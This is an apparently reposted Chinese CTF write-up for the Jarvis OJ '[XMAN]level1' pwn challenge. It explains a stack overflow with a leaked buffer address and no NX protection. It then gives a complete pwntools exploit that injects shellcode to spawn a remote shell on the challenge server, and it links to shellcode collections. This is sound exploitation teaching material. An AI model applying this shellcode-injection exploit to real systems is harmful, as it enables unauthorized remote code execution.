Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

100分的pwn

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用_第1张图片

 

简单查看一下,果然还是比较简单的

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用_第2张图片

 

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用_第3张图片

放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护

所以我们很容易想到构造shellcode,在栈中执行shellcode拿shell权限

shellcode是一段恶意代码,在没有NX保护程序中,可能作为输入而写进栈,之后运行到此处时可以执行shellcode指令从而达到目的

所以我们先截取buf的地址,在buf中写入夺shell的shellcode,之后再用buf的地址覆盖函数返回地址

从而执行shellcode获取目标shell

从abo偷来栈帧示意图一张图,如有侵权,打死我也不删

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用_第4张图片

 

#!user/bin/env python
# encoding:utf-8

from pwn import *
io = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh())
buffer=io.recvline()[14:-2]
buf_addr = int(buffer,16)
payload = shellcode + '\x90' * (0x88+0x4-len(shellcode)) + p32(buf_addr)
io.sendline(payload)
io.interactive()
io.close()

 

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用_第5张图片

记两个空手套shellcode的网站

http://shell-storm.org/shellcode/

https://www.exploit-db.com/shellcode/

 




作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;

转载于:https://www.cnblogs.com/ZHijack/p/7899166.html

你可能感兴趣的:(Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用)